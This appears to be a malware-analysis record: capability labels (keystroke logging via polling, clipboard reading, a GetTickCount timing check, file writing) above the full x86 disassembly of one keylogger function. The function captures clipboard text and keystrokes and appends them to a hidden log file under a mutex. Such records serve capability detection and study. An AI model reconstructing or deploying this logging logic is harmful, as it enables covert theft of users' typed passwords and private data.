Function at 0x1000e740
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling
Open clipboard
Read clipboard data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.100168f0
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x28
call fcn.1000eee4
mov esi, eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
add esp, 4
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
push 0x7fe
mov dword [esi + 0x20], eax
push eax
lea ecx, [ebp - 0x806]
mov dword [esi + 0x24], eax
push ecx
mov word [ebp - 0x808], ax
call fcn.10016660
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [0x10031f48]
cmp eax, 0x5dc
jbe 0x1000e8a8
call edi
push eax
push 0x10031f48
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
je 0x1000e8a2
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
lea edx, [eax + eax + 2]
push ebx
mov dword [ebp - 0x100c], edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x1000e89b
cmp dword [ebp - 0x100c], 0x800
jge 0x1000e89b
lea ecx, [ebp - 0x1008]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000e848
test dx, dx
je 0x1000e844
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000e848
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000e822
xor eax, eax
jmp 0x1000e84d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e89b
mov eax, dword [ebp - 0x100c]
push eax
lea ecx, [ebp - 0x1008]
push edi
push ecx
call fcn.10017550
add esp, 0xc
push edi
lea edx, [ebp - 0x808]
push 0x10025a1c
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edi, [ebp - 0x808]
call fcn.1000e5a0
push 0x800
mov eax, edi
push 0
push eax
call fcn.10016660
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.1000e620
test eax, eax
je 0x1000e92e
mov ecx, dword [0x1003126c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
push 0x10030dc0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000e92e
push 2
push 0
push 0
push edi
mov dword [ebp - 0x1018], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x1018]
push edx
push 0x10025a38
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0x10025a38
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1003126c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x10031264]
test eax, eax
je 0x1000e957
push 0
push 0x10031268
push 0x10031270
mov dword [0x10031268], 0x3c
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push 0x14
push eax
call edx
cmp dword [0x10031268], 0
mov dword [ebp - 0x1014], 0
jle 0x1000eafa
xor eax, eax
mov dword [ebp - 0x100c], eax
xor ebx, ebx
mov dword [ebp - 0x1010], ebx
mov edi, edi
mov ecx, dword [eax + 0x10031270]
mov edi, ebx
imul edi, edi, 0x7c
dec ecx
cmp ecx, dword [edi + 0x1002b4f8]
jne 0x1000eac2
test byte [eax + 0x10031274], 0x80
je 0x1000ea97
cmp ebx, 0x39
jne 0x1000e9d9
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x1000e9cd
cmp ax, 1
je 0x1000e9cd
mov dword [0x10031724], 0
jmp 0x1000e9eb
mov dword [0x10031724], 1
jmp 0x1000e9eb
cmp ebx, 0x29
je 0x1000ea77
cmp ebx, 0x35
je 0x1000ea77
cmp dword [0x10031720], 0
je 0x1000ea41
lea ebx, [edi + 0x1002b4a8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000ea1e
push ebx
push esi
push 0x10025a50
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [ebp - 0x1010]
jmp 0x1000eabf
cmp dword [0x10031724], 0
je 0x1000ea38
lea ebx, [edi + 0x1002b4d0]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x1000ea05
lea edx, [edi + str._esc_]
push edx
jmp 0x1000ea06
cmp dword [0x10031724], 0
je 0x1000ea61
lea ebx, [edi + 0x1002b4d0]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x1000ea05
mov ebx, dword [ebp - 0x1010]
lea eax, [edi + str._esc_]
push eax
push esi
push 0x10025a50
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1000eabf
lea ecx, [edi + str._esc_]
push ecx
push esi
push 0x10025a44
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x10031720], 1
jmp 0x1000eabf
cmp ebx, 0x29
je 0x1000eaa1
cmp ebx, 0x35
jne 0x1000eac2
lea edx, [edi + str._esc_]
push edx
push esi
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x10031720], 0
add esp, 0x10
mov eax, dword [ebp - 0x100c]
inc ebx
mov dword [ebp - 0x1010], ebx
cmp ebx, 0x66
jl 0x1000e980
mov ecx, dword [ebp - 0x1014]
inc ecx
add eax, 0x14
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 0x100c], eax
cmp ecx, dword [0x10031268]
jl 0x1000e976
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000e7a1
mov eax, dword [0x1003126c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
push 0x10030dc0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000eb7e
push 2
push 0
push 0
push edi
mov dword [ebp - 0x101c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x101c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003126c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
jmp 0x1000e7a1